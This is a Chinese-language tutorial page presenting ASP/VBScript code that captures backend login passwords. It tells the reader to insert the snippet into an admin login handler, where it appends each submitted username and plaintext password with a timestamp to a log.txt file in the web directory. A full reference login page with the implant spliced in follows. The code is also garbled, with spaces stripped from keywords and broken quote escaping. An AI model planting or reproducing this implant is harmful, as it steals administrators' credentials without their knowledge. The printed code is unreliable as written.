提供了编程的基础技术教程

zl程序教程

您现在的位置是：首页 >  其他

当前栏目

Asp截获后台登录密码的代码

密码ASP后台密码代码 登录 截获
2023-06-13 09:14:33 时间
核心代码:
复制代码代码如下:

setfso=server.createobject("scripting.filesystemobject")
iffso.FileExists(server.mappath("log.txt"))=truethen
setfin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
setfin=nothing
endif
setfout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")
fout.close
setfout=nothing
setfso=nothing

在后台登录处表单提交的地方插入！
参考文件：
复制代码代码如下:

<%@language=vbscriptcodepage=936%>
<%
dimsql,rs
dimusername,password,CheckCode
username=replace(trim(request("username")),""","")
password=replace(trim(Request("password")),""","")
CheckCode=replace(trim(Request("CheckCode")),""","")
ifUserName=""then
FoundErr=True
ErrMsg=ErrMsg&"<br><li>用户名不能为空！</li>"
endif
ifPassword=""then
FoundErr=True
ErrMsg=ErrMsg&"<br><li>密码不能为空！</li>"
endif
ifCheckCode=""then
FoundErr=True
ErrMsg=ErrMsg&"<br><li>验证码不能为空！</li>"
endif
ifsession("CheckCode")=""then
FoundErr=True
ErrMsg=ErrMsg&"<br><li>你登录时间过长，请重新返回登录页面进行登录。</li>"
endif
ifCheckCode<>CStr(session("CheckCode"))then
FoundErr=True
ErrMsg=ErrMsg&"<br><li>您输入的确认码和系统产生的不一致，请重新输入。</li>"
endif
"这后面是我增加的代码~开始区域
setfso=server.createobject("scripting.filesystemobject")
iffso.FileExists(server.mappath("log.txt"))=truethen
setfin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
setfin=nothing
endif
setfout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")
fout.close
setfout=nothing
setfso=nothing
"后面的代码被我删除了~结束区域

%>

本文涉及语句作者是：会的不多iFat

相关文章